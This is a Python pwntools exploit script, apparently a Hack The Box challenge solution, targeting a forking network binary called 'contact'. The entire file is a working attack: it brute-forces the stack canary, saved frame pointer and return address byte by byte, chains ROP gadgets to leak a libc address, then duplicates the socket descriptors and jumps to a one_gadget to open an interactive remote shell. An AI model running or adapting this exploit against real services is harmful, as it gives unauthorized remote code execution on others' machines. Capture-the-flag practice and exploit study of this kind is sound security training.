#!/usr/bin/env python
# Author : 0xsegf
# https://github.com/arjunshibu
# https://www.hackthebox.eu/home/users/profile/201892
# This code is very slow. But it will get the job done. You can thread it if you need speed
from pwn import *

if len(sys.argv) != 2:
    print 'Usage: python exploit.py [mode]\nmodes available - local/remote'
    sys.exit(1)
elif sys.argv[1] == 'local':
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
    libc_one_gadget = 0xe664b
elif sys.argv[1] == 'remote':
    libc = ELF('./libc.so.6', checksec=False)
    libc_one_gadget = 0x4f322
else:
    print 'Invalid mode'
    print 'modes available - local/remote'
    sys.exit(1)

def bruteforce(mode, canary_addr, rbp_addr):
    if mode == 'canary':
        buf = cyclic(56)
        addr = ''
        start = 1
    elif mode == 'rbp':
        buf = cyclic(56) + p64(canary_addr)
        addr = ''
        start = 1
    elif mode == 'ret':
        addr = '\x62' # first byte is same
        buf = cyclic(56) + p64(canary_addr) + p64(rbp_addr) + addr
        start = 2
    start_time = time.time()
    with log.progress('Bruteforcing {}'.format(mode)) as l:
        for i in range(start, 9):
            for x in range(256):
#            	if x == 16:		# in case 1 byte fails,
#            		continue	# use this against that byte to skip it
                byte = struct.pack('B', x)
                expl = buf + byte
                context.log_level = 'critical'
                p = remote('localhost', 1337)
                p.send(expl)
                resp = p.recvall()
                p.close()
                context.log_level = 'info'
                l.status('Trying {}th byte: {}'.format(i, hex(x)))
                if 'Done.' in resp:
                    log.info('Found byte {}: {}'.format(i, hex(u64(byte.ljust(8, '\x00')))))
                    addr += byte
                    buf += byte
                    if i == 8:
                        addr = u64(addr.ljust(8, '\x00'))
                        l.success('SUCCESS: {}'.format(hex(addr)))
                    break
    log.info('Time elapsed : {:0.2f}'.format(time.time() - start_time))
    return addr

def send_payload(canary_addr, exploit):
    payload = cyclic(56) + p64(canary_addr) + cyclic(8) + exploit
    p.sendline(payload)

log.info('Stage 1')
canary = bruteforce('canary', '', '')	
rbp = bruteforce('rbp', canary, '')	# if something fails or stuck, hardcode previously found address
ret = bruteforce('ret', canary, rbp)	# instead of trying from the beginning
#canary = 0x7a2f2488336bce00
#rbp = 0x7ffe2f025640
#ret = 0x562c63e18562

elf = ELF('./contact', checksec=False)
elf_address = ret - 0x1562
pop_rdi = p64(elf_address + 0x164b)
pop_rsi_r15 = p64(elf_address + 0x1649)
pop_rdx = p64(elf_address + 0x1265)
plt_write = p64(elf_address + elf.plt['write'])
got_socket = p64(elf_address + elf.got['socket'])

log.info('Stage 2 : Sending payload to leak libc')
rop = pop_rdi + p64(0x4)
rop += pop_rsi_r15 + got_socket + p64(0x0)
rop += pop_rdx + p64(0x8)
rop += plt_write

context.log_level = 'critical'
p = remote('localhost', 1337)
p.recvuntil('admin:')
send_payload(canary, rop)
leak = p.recvall().strip().ljust(8, '\x00')
p.close()
context.log_level = 'info'
leaked_socket = u64(leak)
log.success('leaked socket() : {}'.format(hex(leaked_socket)))
libc_socket = libc.symbols['socket']
libc.address = leaked_socket - libc_socket
dup2 = libc.symbols['dup2']
one_gadget = libc.address + libc_one_gadget
log.success('dup2() : {}'.format(hex(dup2)))
log.success('one_gadget : {}'.format(hex(one_gadget)))

log.info('Stage 3 : Spawning shell')
# duplicate file descriptor
rop =  pop_rdi + p64(0x4)
rop += pop_rsi_r15 + p64(0x0) + p64(0x0)
rop += p64(dup2)
rop += pop_rdi + p64(0x4)
rop += pop_rsi_r15 + p64(0x1) + p64(0x0)
rop += p64(dup2)
rop += pop_rdi + p64(0x4)
rop += pop_rsi_r15 + p64(0x2) + p64(0x0)
rop += p64(dup2)
# shell
rop += p64(one_gadget)
p = remote('localhost', 1337)
p.recvuntil('admin:')
send_payload(canary, rop)
p.interactive()
p.close()
